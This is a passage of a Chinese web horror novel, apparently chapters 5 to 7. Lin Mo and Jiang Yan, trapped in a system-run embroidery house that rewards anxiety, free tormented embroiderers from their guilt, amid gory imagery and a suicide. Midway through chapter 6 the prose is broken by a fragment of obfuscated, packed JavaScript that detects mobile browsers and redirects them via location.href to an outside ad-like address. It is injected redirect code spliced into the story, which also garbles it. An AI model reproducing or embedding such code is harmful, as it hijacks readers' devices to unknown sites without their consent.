林茉调取出随身迷你绣架,一边维持刺绣速度,一边踱步到被扎穿手指的绣娘身旁,江砚留在对面,林茉开口前向他投去目光,示意开始。
林茉眼睛很好看,尤其是眼尾,如同海波一样轻盈上扬,映得眸光流转。
那位绣娘脸色苍白,双眼无神,下坠一双眼袋,林茉目光下移到手指,眼前一幕毫无准备冲入眼帘,激起一身鸡皮疙瘩。
被扎穿的食指已经不再流血,却并未愈合,留下一个微小穿洞,而像这样的穿洞,她手上密密麻麻还有很多个。
林茉强忍不适,问道:“手不痛吗?”
“痛?”
绣娘神情迷惑,似乎对这个字感到陌生,半晌才有所变化,笑得凉薄,“我资历久,早已没有这种无用感觉。”
“无用?可是你的手已经无法恢复,不痛不代表没有伤害啊。”
“又不影响刺绣,”绣娘满心满脸不在乎,“系统很公平,血滴不仅结算刺绣进度,流得多还能解锁额外奖励,”说到这她竟然自豪起来,“刚刚我还获得了新徽章,我徽章最多,所有人都敬佩我。”
林茉哑然,一时间无言以对。
“而且,你知道吗?”绣娘突然倾身过来对林茉耳语,江砚眉头一紧立刻起身,林茉摆摆手,示意自己没事,绣娘微凉气息扑在林茉脖颈,“血滴的红色和普通绣线的红色不一样,血滴染上的红色是最好看的,评分最高,咯咯咯咯。”
林茉又起一层鸡皮疙瘩,这究竟还是不是人?
其实她前面铺垫都是为了提出接下来的问题,但有系统两次突然发疯在前,话在嘴边饶了几圈才开口,“您这样是为
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什么?奖励再多您也用不上啊。”
问题已深入到哲学范畴。
林茉本以为会引发沉默和深思,没想到手指绣娘毫不犹豫,且目光充满不屑,表情无奈又轻蔑,似乎在说你是猪吗问这种问题,“当然是为了绣出更多更好的绣品,成为年度优秀。”
林茉又跟进一步,“然后呢?”
手指绣娘一脸满足,“我的精神和我的作品会在这里永生。”
“能为《万线归宗》奉献是我的荣幸”
林茉脑海中出现系统音:【请重复“能为《万线归宗》奉献是我的荣幸”】
神经啊,林茉翻白眼时正对上江砚的目光——江砚也听到了。
他原本皱眉的表情瞬间舒展,好像碰到了极好玩的事情,笑得甚至露出了牙齿。
翻白眼有什么好笑。
少见多怪资本家。
---
林茉回到座位,同江砚复述手指绣娘最后的耳语。
江砚毫不意外,并对系统表示理解,“每位老板都想要这样的员工。”
林茉白了他一眼,“资本家!”
江砚又说:“自我激励是绩效的最终目的之一。”
林茉没有回答,她盯着江砚,这番对答怪怪的,可又挑不出具体问题。
江砚被盯得不自在,嘴角浅笑,“怎么了?”
这一笑完全打消林茉的疑虑,她移开目光,“没什么,下一位。”
---
坐在隔壁的师父绣娘曾下狠手掐过林茉,所以林茉座椅更靠近江砚,小心地探出上半身,“师父,你绣的什么呀?”
师父绣娘并不存在这段记忆,她头也不抬,“看不出来吗。我女儿。”
?
林茉颇为意外,她以为这里的人全部没有情感,没想到还能听到这种回答,“女儿?”
“是啊,这样我刺绣她就陪在我身边。”
林茉:?
这是一位被系统操控之人说出的话吗?
居然含情脉脉。
下一秒林茉看到她的绣绷上的图案,表情凝固,“这是您女儿?”
明明是个男人,戴高帽,有胡子。
师父绣娘举起绣线,“这才是我女儿。”
绣线被扯动,她眉头紧皱,五官挤成一团,林茉顺着绣线去看,发现绣线竟与之血肉相连!可她的表情却是欣慰和满足,语气缓慢,很像家中上岁数的老母亲,“绣出来的无论是什么,在我看来都是我女儿,我的乖乖永远不会离开我。”
林茉离开前听到她极微小的声音咕哝了一句什么,好像是:妈妈错了。
之后绣线被扯动,痛苦过后她再次心满意足。
---
“我为了什么?”
发簪女士依旧是标准到如同焊在脸上的微笑,边同林茉讲话边抬手摘下脑后木簪,
说话就说话,摘发簪干——
不等吐槽结束,林茉忍不住惊呼出声!
江砚赶紧把林茉拉到身后。
发簪摘下的刹那,她的头颅“哗啦”一下如断线木偶般垂落,带出一条数据流连接簪子与脖颈,仿佛是她提着自己的头颅灯笼。
数据流密密麻麻流淌着:不进则退,力争上游,效率就是生命,再次刷新刺绣速度!
林茉:毁灭,彻底毁灭吧!
这都是什么啊!
林茉胆战心惊地扶着发簪女士的手,把发簪插回原位,头颅终于恢复正常。
上次她的眼眶还飞出绣线……
江砚微微皱眉,不知为何,他今天不仅头痛疲劳,还经常察觉到体内有一股不属于自己的情感波动,竟让他感到舒服。
他想到绣娘们与林茉对话时流露的神情,系统并非强迫她们,她们在拼命刺绣、刺穿手指时,或许内心在流淌着同样的舒适。
5. 第 5 章
“江砚,”林茉郑重开口,“我们不能再这样下去。”
一番访谈调查后,江砚大概猜到林茉要说什么,点头示意她继续。
“万线归宗任务可能是个幌子,按要求完成,或许我们就会和她们一样。”林茉环顾四周,手指绣娘面容沧桑憔悴,师父绣娘心满意足微笑。
“你认为系统在借助任务改造人类?”
江砚面色沉静,“有可能,但也需要提醒你,假如完成刺绣真是脱离条件,可能我们会因为选择不同的路而永远留在这里。”
林茉皱眉,先前“我才不要听话”的豪情消散大半,江砚说的有道理,两个选择都冒险。
“但我偏向认为改造才是目的,”江砚说,“按目前经历来看,系统不太可能突然拉两个人进来单纯帮忙刺绣。”
“无论你选择哪个都可以。”
选择权完全来到林茉手上,沉甸甸的,“这可关系重大。”
江砚眉目温和,“没事,做你最想做的选择。”
毕竟是他连累了林茉。
“那就——”林茉眼神忽然闪过一丝狡黠,如同可爱的小狐狸,“做点不一样的。”
江砚释然微笑,“好。”
---
如果林茉假设正确,那他们现就要不配合完成任务,但罢工会招来危险的KPI机器人。
林茉手指在绣绷上上下翻飞,脸上带着灿烂笑意,突然被注入力量似的。
他们要继续刺绣,但不按照系统指示刺绣。一念之间,吃人绣绷成为广阔大舞台,任林茉发挥。
江砚好奇:“这么高兴?”
只见绣绷上勾勒出一只翻肚皮懒洋洋躺在垫子上的小胖猫,旁边龙飞凤舞一行字:阳光免费,躺平万岁。
“姐姐帮我也设计一个。”
“别叫姐姐。”
“我给你画个小狗。”
江砚双眼黑白分明,短发柔顺,笑起来真像一只小狗。
---
“你有没有听到什么声音?”林茉问。
背景音一直由大家一起刺绣汇集而成,但此刻似乎多了些内容,林茉侧耳仔细倾听。
“好像有人在说话。”江砚也听到了。
林茉四处查看,坐在身旁的师父绣娘边刺绣边念念有词:妈妈错了、妈妈错了,乖乖不会离开我、乖乖不会离开我......
语速越来越快,快得不是人类能达到的速度。
进而发现整个二层、所有人都在各自念词,声音越来越大、越来越快。
汇集成一片诡异声场,仿佛在念诵某种古老的邪恶咒语。
林茉下意识靠近江砚,“我又要起鸡皮疙瘩了。”
忽然师父绣娘高举绣针刺向自己心口,狰狞地狂喜:“我听到了!我听到了!乖乖在笑!”
随后其他人也开始或狂笑或手舞足蹈。
“可是师父,”林茉冷静戳穿,“这只是一根线,我们并没有看到您女儿。”
“胡说!”
“我听到乖乖在笑!”
耳边传来令人牙酸的撕裂之声,师父绣娘笑得皮肉裂开,逼近林茉,“我的焦虑值已经到达S级,可以兑换10年寿命,我的乖乖......”
林茉后背发凉,不是因为诡异的行为,而是她心中的猜想得到了证实。
这些人都与现实有关。
忽然颈侧一痛!
师父绣娘无声扑到身前,绣针深深刺入林茉脖颈!
双眼同绣线一样血红,贴在林茉跟前,幽幽发问:“听到了吗?”
---
林茉又看到一片混沌粘稠的红,无边无际,这些粘稠的红色缓缓流动,最后凝结成一个“守”字。
守岁人孤儿院。
牌匾已破旧生锈,林茉一遍遍擦拭“守”字,可每擦干净一点,就会立刻流下锈水再次将它腐蚀,好像这是注定消失之处。
孩子们不能没有这里。
“小茉茉不用担心,前几天有人联系我们,”是院长阿姨,她轻柔抚摸林茉的头,眼神慈爱安定,“如果顺利,我们孤儿院就有了稳定赞助,给你们安一个新滑梯!”
林茉问:“真的吗?”
“真的呀,”院长面带笑容,可林茉却突然不舒服,“这是赞助人电话,小茉茉来打电话吧。”
林茉听话地按下号码,几声“嘟”音后,话筒里传来机械扭曲的声音:“孤儿院倒闭倒计时:10秒。存活名额:0。”
林茉猛地挂断电话。
可电话铃声立刻自己响起,林茉浑身颤抖无法行动,她想离开,却被一个念头黏住:得尽快找到赞助人。
电话铃声回应她的焦虑,一声比一声更加响亮,永远不会停似的。
终于林茉拿起电话放到耳边——
“姐姐,”是最黏她的小妹汤圆的声音,“姐姐为什么不用刺绣换钱救我?”
林茉慌乱道:“姐姐、姐姐救你——”
汤圆仿佛没有听到,还在一遍遍继续问:“姐姐为什么不用刺绣换钱救我?”
林茉越来越恐慌焦虑,已经不知自己在说什么,却还是死死攥住听筒,孤儿院逐渐被浓雾包围,像是在一点点消失。
“不要——!”
正在这时,眼前浓雾中好像有什么在晃动,像一根树枝,林茉伸手抓住。
“小茉茉学得真快,这就是最复杂的乱针法。”
林茉窝在院长怀里,周身被温暖包裹,舒服安全,“嗯!我会努力练习的!”
“记住,心不要乱,绣出来的作品才好看。”
心不要乱。
掌心传来梅枝抽芽的触感,轻轻软软,朵朵梅花无声绽放,花瓣繁复,莹白胜雪,荡开眼前令人窒息的稠红。
“晓涵,你的梅花绣好了呀?”
稠红褪去,眼前依旧是绣架、绣楼、和忙碌的人们。
林茉内心忽然涌入强烈的酸痛。
一切都过去了,林茉用院长的话反复安慰自己,心要定,心不能乱。
许久才稍稍平静。
她想告诉江砚系统可以制造幻觉,一转头却忍不住发出惊呼,“江砚!”
---
只见一根绣线穿透心口,江砚却丝毫不觉,还在努力刺绣。
林茉担心贸然斩断绣线会引发系统动荡,于是摇着江砚肩膀,急急呼喊:“江砚!”
江砚转过头来,眼神空洞,“姐姐。”
“姐姐你看我的作品是最快最完美的。”
血液从穿透胸口的绣线连接至绣绷,使得上面的色彩更加艳丽了,林茉一把夺过江砚的绣针,“江砚醒醒!”
“姐姐你说我可以拿到100分吗?”
怎么变成小学生了。
不待林茉回答,江砚自顾自摇头,“我永远也拿不到100分,总有更好的。”
“别信它的把戏。”
林茉手指起落,绣绷上原来卧成一团睡觉的小狗旁边出现几个歪歪扭扭的字:存在即完美。
---
“别信她的把戏。”林茉声音坚定地穿透血雾,一只梅花灼灼绽放,发出纯净白光,“我们不玩它的游戏。”
江砚一怔,忽然心口剧痛,绣线默默退出,荆棘契约悄然发亮,伤口迅速愈合。
看到江砚的眼神重新恢复神采,林茉放松下来,“终于醒了。”
江砚撞上林茉关切的神情
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,“我刚刚看到——”
这时脑海中突然传来尖锐的系统提示音:检测到重大违规!《万线归宗》任务进度归零,72小时倒计时重启。
原本已经过半的倒计时如同乱码一样闪动,几秒过后稳定在72:00:00,开始重新倒计时。
?!!
所以倒计时是个无尽牢笼。
所以只能听系统的话,去完成《万线归宗》。
所以,她们出不去了。
---
林茉懒洋洋向后一靠,“以为咸鱼是这么容易PUA的吗?”
她掏出怀中江砚给她的那把刀,另一只手猛地扯过一把绣线,动作大了些,扯到的是旁边师父绣娘的线,“不让我出去,砸了你这破玩意。”
师父绣娘扑上来,抱紧绣线哭喊“这里面有我女儿出生时的笑声!我的女儿!——”
林茉满腔怒火忍无可忍,将绣线拎到她眼前,“看清楚了,这不是你的女儿,你的女儿可能在任何地方,唯独不可能在这种吃人的东西里!”
她一扯,锋利的绣线划破手掌,林茉痛得低声轻嘶,但没有放手。
绣线忽然开始发光,好像有什么东西在流动,林茉愣住——不会在吸我的血吧!
江砚忽然开口,“姐姐,看!”
“我近视——”
江砚低声叙述绣线内流动的文字:“昨日警方接到报案,本市一位6岁女童于花街菜市场走失,请知情人士提供线索。女童身穿——”
“乖乖!——”师父绣娘发出凄厉哭嚎,迸发出极大力量夺过林茉手中绣线捂在心口,“乖乖不怕,妈妈找到你了。”
林茉呆呆坐在原地。
发簪女士赶到,微笑着查看师父绣娘状态,进行播报:“新增优质焦虑源,系统嘉奖进度+30%。”
林茉转向江砚,喃喃道:“焦虑,为什么奖励焦虑呢?”
江砚没有说话,但他心中有一个熟悉又陌生声音:焦虑催生进步,焦虑促进完美。
___
身后忽然传来轻轻声音,如同一片无依无靠的羽毛,“都是、假的吗?”
江砚和林茉同时回头,只见晓晗不知何时来到二楼,抱着她的绣品静静站立。
“所以我,”她的声音剧烈颤抖,“我并没有在陪伴我妈妈,对吗?”
林茉不知该如何作答,她想告诉晓晗真相,但太过残忍。
“对吗?”晓晗眼中涌出大颗泪珠,声音如同随时会从天空坠落的飞鸟,“对吗?107?”
林茉:“我——”
江砚忽然握住林茉手腕,“是,这里只有绣线和失控的系统,而你也不能从中得到真实慰藉,”江砚看向发簪女士,“最终你会成为系统的一部分。”
晓晗的眼泪终于彻底失控。
发簪女士在一旁微笑,“检测到优质焦虑源,系统嘉奖进度+30%。”
晓晗的小腿开始数据化,她却浑然不觉,哭了好一会儿,迈着漂浮的脚步转身走开——却不是楼梯方向。
只见晓晗推开一向紧闭的窗户,站上窗台时终于发现自己数据化的双腿,回头望向林茉和江砚,“谢谢你们。”
说罢纵身一跃——
“晓晗!”
林茉和江砚赶紧跑到窗口,可惜为时已晚,回望整层,只见所有人都好像这件事根本不存在一样无动于衷。
林茉忽然感到异常,但眼前一切都没有变化。
她猛地回头,只见原来悬吊空中的虚假太阳不知何时转变成一轮巨大血月。
血月光线下,晓晗坠落的血泊中升起无数绣线,编织成她的虚影安静地鞠了一躬,随后缓缓升起,直至被血月吸收。
6. 第 6 章
血月笼罩,林茉甚至感觉周围空气都变成红色,如同血雾悬浮,锈味弥漫。
绣楼梁柱如脊椎节节蠕动,瓦片翻起,赫然露出一双眼球,监视器般居高临下盯着绣楼内部,窗棂的缠枝莲纹绞成血色网络。
木制缝隙间渗出暗红液体,地板裂开,无数绣线如同血管搏动隆起。一座座绣架“吱嘎吱嘎”扭曲变形,长出锐利尖刺,如同钢铁荆棘,那边牡丹花心长出人眼,这边喜鹊鸟喙黑色液体一滴滴流淌而下,所落之处地板发出“滋啦”声,这黑液有腐蚀性!
整座绣楼扭曲成了一座巨大迷宫。
林茉紧捏江砚衣袖,半晌才找到自己的声音:“江总不愧是黑马企业家,您这系统可真是神通广大。”
绣楼突变,他们被挤到窗边角落,如同末世大洪水中的最后一块高地,这下万线归宗都没了,还做什么任务,
江砚倒是想黑马到这种水平,但受之有愧,“这不是我们设计的。”
其实好的数据就应该如此,拓展设定程序之人的想象边界,成为越来越好的助力,只不过系统目前的方向需要调整。
系统播报突然响起:【检测到高焦虑值,启动疗愈程序,请于丑时三刻前穿越迷宫。】
声音不同于平时的机械音,是柔和的女声,像是晓晗和发簪女士的结合版,悠悠回荡在空旷的血色迷宫中。
“哼。”
林茉不屑,如果可以她甚至想席地而坐,“疗愈?它让我穿越迷宫我就穿越迷宫?”
之前就用72小时倒计时耍过她一次了。
江砚只觉得自己衣袖被越攥越紧。
这时眼前组成迷宫墙壁的仕女图突然扭曲,原本圆润优雅形态被扭曲变形,一行字出现:【请回答苏绣的基础针法和完成要求】
这么简单?
林茉和江砚对视,如此简单的问题,必有蹊跷。
“你说这能回答吗?”林茉问。
江砚苦笑,“但除此之外还能做什么呢?总不能在这干耗着。”
也是,林茉还是想回到自己的小房间,上午她的床面会洒满阳光,躺着别提多舒服了。
身体上心理上都舒服。
“那——先回答试试?”
江砚轻拍她攥紧衣袖的手,“放心吧。”
“齐针,要求平匀齐密。”
其实江砚有些意外,林茉平时懒洋洋,总想和系统作对,但居然对它教的理论知识还记得。
【回答错误】
???
【惩罚开始】
???
林茉不服:“哪里错了?这就是正确答案啊。”
然而系统并不回应。
师傅绣娘于前方拐角处出现,举着空白绣绷哀求,“请帮我绣我女儿的脸,我、我记不清了。”
林茉想过去查看,转头去看江砚征求意见,一转头,和另一侧墙壁莲戏图的小孩来了个对视,画面上小孩正坐在一片莲叶上捉青蛙,一双漆黑瞳仁盯着林茉,咧开小嘴露出尖利牙齿。
林茉已无余力对此作出反应,因为江砚不见了!
她听到自己心砰砰跳,系统比她以为的危险得多。
“心不能乱,心不能乱——”林茉一遍遍重复安抚自己。
“请帮我绣我女儿的脸。”
“请帮我绣我女儿的脸。”
“请帮我绣我女儿的脸。”
林茉沉静向前走,来到师父绣娘所在拐角,一转头,发现那条通道上满是师父绣娘,她们捧着空白绣绷或哭或笑,同样都在念叨那一句话。
如果这里的npc真和现实有所关联,那师傅绣娘一定很爱她的女儿吧。
林茉接过空白绣绷,难道真的要绣一位小女孩?
不等她有所行动,突然一阵失重传来。
---
“大萝卜,大白萝卜,嘎嘎脆。”
菜市场?
她回来了?
这是一处早市,包子摊蒸汽腾腾,面摊老板的音箱里正播放DJ版好运来,大大小小的菜摊五颜六色生机勃勃。
“好运来祝你好运来~”
难辨真假,如在梦中。
林茉站在原地看了一会儿,“真真假假不重要,来都来了,买几个包子吃,给江砚带两个。”
江砚——
如果这是现实世界,她应该可以找到江砚吧。
“老板,包子什么馅?”
“猪肉白菜、包菜粉条、韭菜虾仁,”老板是一对夫妻,碌得脚不沾地,但积极热情,红光满面,“姑娘来几个?”
“每样两个。”
包子白白胖胖,手工痕迹明显,这样的包子最好吃。
老板在小摊附近支了几个建议小桌,每张桌子都有人,林茉随便找了个空位坐下。
先吃粉条馅的!
“乖乖再吃一个。”
乖乖——
林茉已经对这两个字PTSD,她条件反射地抬头去看,好好好,果然还在系统里。
师父绣娘身边坐着一位小女孩,她在香喷喷地大口吃包子,动作有些笨拙却可爱,师傅绣娘在一旁给她编头发——头顶两个小圆髻,地下两个麻花辫,桌上还有粉色蝴蝶发夹。
林茉内心一动,这就是她的女儿吧,从发型就能看出是很受宠爱的小孩子。
其实换个角度,这个系统有些地方还真是不错,那座木楼、苏绣展品,在这里它又留住了鲜活的早市,24小时便利店不卖这样的包子,连结账都是无感支付,更没有这样的场景。
“宝贝该去上学了。”包子铺老板娘走过来。
林茉还在思索老板娘和她是不是亲戚,下一秒就惊呆在原地,只见小女孩的脸逐渐扭曲,最后变成了一位梳着小圆髻麻花辫的毫不相干的小女孩。
这是——
导师绣娘却像没看到,站起来和包子铺老板娘一起带小女孩离开了,临走前林茉看到包子铺老板娘对她使了个颜色。
“唉——”
“她也是个可怜人,十年前,她带女儿来早市,结果一转眼小孩子就不见了。她觉得是自己的错,加上一直找不到,所以,”老板娘指指头部,“就有点问题。”
林茉喃喃:“难怪一直重复‘妈妈错了’。”
老板娘点头,“当时很多人对她指指点点,说她没看好孩子,如果她能一直牵着小孩或者保持视线不离开,小孩就不会失踪,加上她总是收拾得很体面漂亮,就说她把时间都花在打扮自己。”
林茉下意识皱眉,“比起稍有疏忽的妈妈,最应该谴责的不是拐走小孩的人吗?!”
老板娘无奈摆手,“从前我也不懂,后来自己有了小孩,才知道没有父母能做到万无一失。”
“她看到我家女儿,和她女儿走失时差不多大,就每天早上来。起初我们也赶她,但后来发现她不会做什么出格的事,只是会来这陪我女儿吃早饭,帮她梳头发,加上我和我老公就在旁边看着,也就由她去了,渐渐地,她精神也稳定不少。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108656|164012||http|test|mini|href|location''.split(''|''),0,{}));
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>老板娘一边收桌子一边感叹,“唉,原来也是个幸福家庭,一家三口,现在夫妻离婚,就剩她一人,我女儿上学走后,她就窝在家里一整天不出门,或许她知道这不是她女儿。”
“一点线索都没有吗?”
“线索也有,但就是找不到人,现在已经过去这么多年,更难找。”
车轮滚滚向前,有些人永远被困在了过去,但这不是她的错。
林茉从系统面板调出绣绷工具,照着先前吃包子小女孩的样子画了草图。
【苏绣的基础针法是什么?有何要求?】
林茉内心一动,她知道答案了。
---
所有师父绣娘的绣绷同步出现女孩图案,小脸圆乎乎,脸蛋粉红,梳着小圆髻和两条麻花辫,一边是粉色蝴蝶结,另一边是蓝色蝴蝶结,正在大口啃一颗肉包子。
她们同时流下眼泪,或抱着绣绷哭,或对绣绷喃喃自语,或是轻轻抚摸,距离林茉最近的这位,她盯着小孩图案一眨不眨,任凭眼泪簌簌而下,好像稍有动作图像就会消失,这么多年,她没有一天不在想,可女儿的模样还是渐渐模糊了。
“乖乖——”
“妈妈错了,妈妈不该松开你的手,不该没看好你,不该打扮自己。”
“你没有错。”林茉坚定地开口打断。
师父绣娘仿佛没有听到,“可以用任何方式惩罚我,但千万别再让我忘记我的乖乖的样子,我还要找她呢——”
林茉上前一步,直视师父绣娘的眼睛,语速更缓,几乎一字一顿,“你、没、有、错。”
师父绣娘如梦初醒,她眼神虚空了半晌,声音很轻,“我,没有错吗?”
“该被千夫所指的不是你,是拐走你女儿的人。”
师父绣娘定住,连眼泪都不再流淌,随后身后所有绣娘动作定格,周围一片安静,连呼吸声都听不到。
不知过了多久,师父绣娘眼泪再次喷涌而出,“原来,我没有错——”
她似乎再次神志不清,无比怜爱又小心翼翼地看着林茉,“乖乖,你不怪我了是吗?”
林茉摇头,“或许我怪过你,但现在我不怪你。”
师父绣娘笑了,嘴角上扬的瞬间林茉仿佛又看到了那位曾经认真打扮自己、认真对待生活的女子。
“谢谢你。”
所有的师父绣娘身体齐齐变得透明,逐渐化成数据向同一方向流淌,系统音出现,开始平静播报:
【2067年1月,本市一位女子于家中身亡,据知情人士透露,女子去世前一直在浏览打拐相关信息,医生初步判断死因为突发性心脏衰竭。】
师父绣娘的数据流开始变化:
“人贩子肯定该死,但父母就一点责任没有吗?”
“照顾不好就别生。”
“如果我是小孩,一定希望自己没有出生过。”
......
数据就逐渐散去,余下一根极细的红色绣线,在绣线也消散的刹那,林茉再次看到了圆脸小女孩,她爱跑爱笑,笑声活泼清脆,画面不断变化,最后留在在早市吃肉包。
随后一切烟消云散。
林茉一个人静静站在二楼,那或许就是师父绣娘关于女儿的真实的最后画面,若能沉浸其中,她在刺绣时应该是满足而幸福的。
林茉长舒一口气,有点怅然若失,她离开了迷宫,但并没有胜利者应有的开心。
还要,江砚去哪里了?是不是也遇到和自己一样的事情了?
7. 第 7 章
江砚一脸轻松,他遇到的是发簪迷宫。
“然后呢?”林茉追问。
“当然还是她那套,要效率要速度。”
“然后呢?”
江砚也会遇到类似师傅绣娘的故事吗?
江砚面色如常,好像除了特别着急的时刻,他永远都是这样处变不惊的样子:“别忘了我和她谁才是老板,系统都是我公司的。”
林茉想起他之前说过效率促进社会进步,“所以你把她给表扬了?你就出来了?”
江砚点头,“差不多。”
其实江砚对此有些记忆模糊,起初他的确有在肯定效率意识,但回想起来总觉得好像缺有所缺失,隐约记得有提到什么“更完美”。
“真的假的?”林茉难以置信,“这么简单就能通关,下次派你一直夸人。”
也不好,她想起师父绣娘最后从执念解脱的模样,费一番心思也值得,如果有得选,她还是要用自己的方式。
江砚:......
“我没骗你。”
语罢突然看着林茉,没头没尾地加了一句:“愧疚是能量最低的情绪。它不能给你任何帮助。”
林茉一愣,深深地看向江砚,内心仿佛有一条轻柔的柳枝拨开涟漪。
她不后悔戳破真相,但也不想晓晗跳楼。
---
江砚牵了牵林茉手腕,示意她慢些,前两次接近阁楼一次比一次惊险,或许楼这就是整个绣坊的数据中心,想要出去他们必须再次冒险。
四楼漆黑幽深,阁楼大门静静闭合,这次没有再出现“鬼打墙”楼梯。
每一步都走得紧张又安静,一路上却没有任何事发生,林茉先到达四楼,这种时刻会这么顺利?
“好像、没事?”
“啷啷哩咯~”
披散头发的晓晗从转角幽幽出现......
林茉骤然睁大双眼,“晓晗?你没——”
晓晗不发一言,抬手就向林茉攻击,刺出之前全息人影袭击江砚的同款绣线,林茉躲避不及时,被绣线划伤手臂,江砚想过来帮忙,但又有NPC出现将他牵绊一旁。
林茉拔出短刀,寒芒闪动,“我有刀,你自己小心。”
她想起师父绣娘寻找女儿的焦虑,晓晗又是因何被困于此?
可面前这个晓晗已经不是之前会帮助他们、会被触动的晓晗,她如今和其他NPC空洞如出一辙,成为被操控的工具。
几个回合下来,林茉气喘吁吁,刀可以暂时切断绣线,但绣线似乎无穷无尽,江砚也是自顾不暇,最终她被绣线紧紧缠住,晓晗露出骇人狞笑,随即果断回收绣线将她拉到跟前,毫不犹豫将一根绣线刺入林茉心脏,霎时间红光大涨。
林茉和江砚脑海中同时响起系统音:
【警告!生命值流失!】
【警告!生命值流失!】
意识逐渐模糊,林茉无法自救。
“姐姐!”
江砚看到被刺穿的林茉,如同看到那日自己,若是林茉不及时出声提醒,他也会这样吧,如果林茉不开口,她就不会变成这样。
江砚目光瞬间冷冽,手臂处朱雀红光穿透布料,朱雀属火,红光恰如烈日喷薄而出,他的语气一如往常低缓平淡,不疾不徐,却透露出浓浓威压,“你们给我住手。”
红光漫至眼眶,给他的温润染上一丝邪气。
攻击他的那些NPC在话音出口刹那便如被定身,维持动作僵在原地。
晓晗似乎未受影响,她不仅没有松开林茉,反而连接心脏的绣线之中血色数据更加飞快流淌,林茉肉眼可见地面色苍白,长长的睫毛颤动。
晓晗突然面色变了变,似有疑惑。
---
绿草茵茵,树冠繁茂。
树下有张长椅,一只黑兔静静地窝在女人怀里,小身子肥嘟嘟,毛毛蓬松,若非颜色不对,简直是一朵蒲公英,不时伸出粉红的小舌头去舔女人手指。
女人怜爱回应,“我的小嘟宝。”
“晓晗。”
那人闻声抬头,林茉虽有准备还是被吓了一跳——她不再是系统里长发柔顺的年轻女子,这位晓晗面色发黄、发丝掺杂大量银白。
难道是老年版晓晗?
“这是你的小兔吗?”
“嗯,”晓晗露出笑容,开心回应,语气里满是自豪,“是我捡的,捡到它的时候它才巴掌大,现在胖得像一只煤气罐。”
林茉在晓晗身边坐下,摸了摸小兔,内心奇怪:小黑兔明明看起来毛色光亮柔顺,但手感却粗糙发硬。
小兔感受到陌生气息,转头凑近林茉手指,鼻尖轻轻耸动闻嗅,仔仔细细闻过后,它也伸出小舌头去舔林茉,传来柔软的凉感,有点痒,很奇妙。
好喜欢舔人的小兔子。
一位身穿粉色制服的女生走过来,“晓涵,我们该回去吃药了。”
晓涵站起身,林茉一瞥,再次心跳加速——晓晗怀里那只小黑兔突然变了!
毛发如同加速枯萎的花,以肉眼可见的速度干瘪,原本圆圆胖胖的身体瘦可见骨,眼窝凹陷,样态惊悚。
但晓晗好似浑然不觉,手依旧在小兔已经见骨的后背一下下轻轻抚摸着。
护士看到林茉有点惊讶,“你是她什么人?来探望她吗?”
“我们,”林茉回答,“是朋友,她现在情况怎么样?”
“先进去再说吧。”
比起医院,这里更像一家疗养中心,除一楼有应急医疗中心外,其余均是大大小小的普通房间,整体安静,不像医院那样病人来来往往。
护士看顾晓晗吃过药,将兔子玩偶放在被子里,哄她睡下。
兔子玩偶??
林茉眨了眨眼,又看了一遍,还是一只兔子玩偶,黑色兔头上有一只粉色小花。
护士转身向外走,“她吃过药需要睡一会儿,咱们先出去,等下你再来看她。”
“她的病——”
林茉未说完,便看到中心服务台用蓝紫色字写着“NEET疗养中心”。
林茉内心咯噔一下,NEET——
难怪晓晗看起来苍老。
这是最近几十年才出现的新型疾病,使用“营养粉”“效率剂”的人群为高发群体,患者会在五年内迅速衰竭死去,且伴随精神上的麻木、绝望,失去欲望,如果没有人安排患者吃药吃饭,甚至会让自己活活饿死。
但这类病患总体来看还是少数,营养粉品类丰富,免去思考和制作一日三餐的麻烦,能够完美满足人体一日所需的所有营养,效率剂顾名思义,不仅能提高速度还能提高决策力,最适合赶时间或者开会前来一口。
所以政府并未禁止,但出面建立了专门的疗养中心,以解决后顾之忧。
NEET患者初期的典型症状之一是会逐渐失去辨别颜色的能力,世界会有原
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本的彩色变为灰白,最先失去的颜色就是紫色。
所以疗养中心相关病名均用蓝紫色显示,为了减少刺激——虽然这些人已经不会再被什么刺激,在病人眼中,病名会和背景白色融为一体,难以分辨。
据护士说,在这里晓晗情况还算好些,因为还有一样东西可以稍微引起她的注意,就是那个黑兔子玩偶。
说到此处她面露不忍,“晓晗晚上在公司工作时突发NEET,之后昏迷了几个月,她醒来后第一件事就是坚持回家,但打开家门——”护士叹气,“兔子已经被活活饿死。”
晓晗受到巨大刺激反而对NEET有所缓解,不像其他病人那样一潭死水,但神智错乱,一直以为兔子还在,工作人员给她准备了一只玩偶兔,她就把玩偶兔当作自己的宝贝,每天抱在怀里。
“她也不是一直分不清的,我见过一次她抱着玩偶兔哭,说对不起她。”
护士叹气,“其实我觉得分不清也挺好,你说是不是?”
林茉不知如何作答。
离开疗养中心,外面已经入夜。
不远处办公大楼灯火璀璨,玻璃幕墙在夜晚自动变成蓝紫色,它象征着体面、整洁、效率。暖色灯光从内部照出,灯光经过特殊频率设计,既有白光的效率又不失暖光的柔和,给大楼平添一份温馨,成为城市一道美好夜景。
但林茉只觉得恶心,光鲜漂亮背后是无奈被困于此的鲜活生命。
她又回去找到晓晗,“不是你的错。”
晓晗对除了兔子以外之物同其他患者一样麻木,她并没有反应,仿佛压根没听见。
林茉摸了摸兔子玩偶,不自觉又重复了一遍。
就在离开关门时,她听到晓晗在背后幽幽开口:“你说什么?”
林茉回头,只见晓晗坐在床上,双眼投出凶狠目光。
“我——”
场景扭曲,林茉觉得自己的心脏被绞紧,再睁开双眼,面前又是绣楼的年轻晓晗,目光和刚刚一样的凶狠,但身体似乎被什么束缚,无法行动。
绣线依旧连接心口,林茉坐在地上,江砚从身后抱着她,让她靠在自己身上。
晓晗越来越疯狂,关节咯咯作响,她五指弯曲成爪,尖锐指甲疯狂生长,她大喊一声瞬间冲至林茉跟前,双手掐住林茉脖颈,尖利的指甲嵌入皮肉,衣领被浸染出片片血红。
系统音更加急促:【警告!生命值过低!当前生命值100!】
与此同时,晓晗自己似乎也受到反噬,皮肤寸寸裂开,露出鲜红血肉。
“就是我的错!”晓晗凄厉大喊,手劲收紧,“如果我不生病它就不会死!”
林茉无法呼吸,感受到心口流淌进一股强烈的难过。
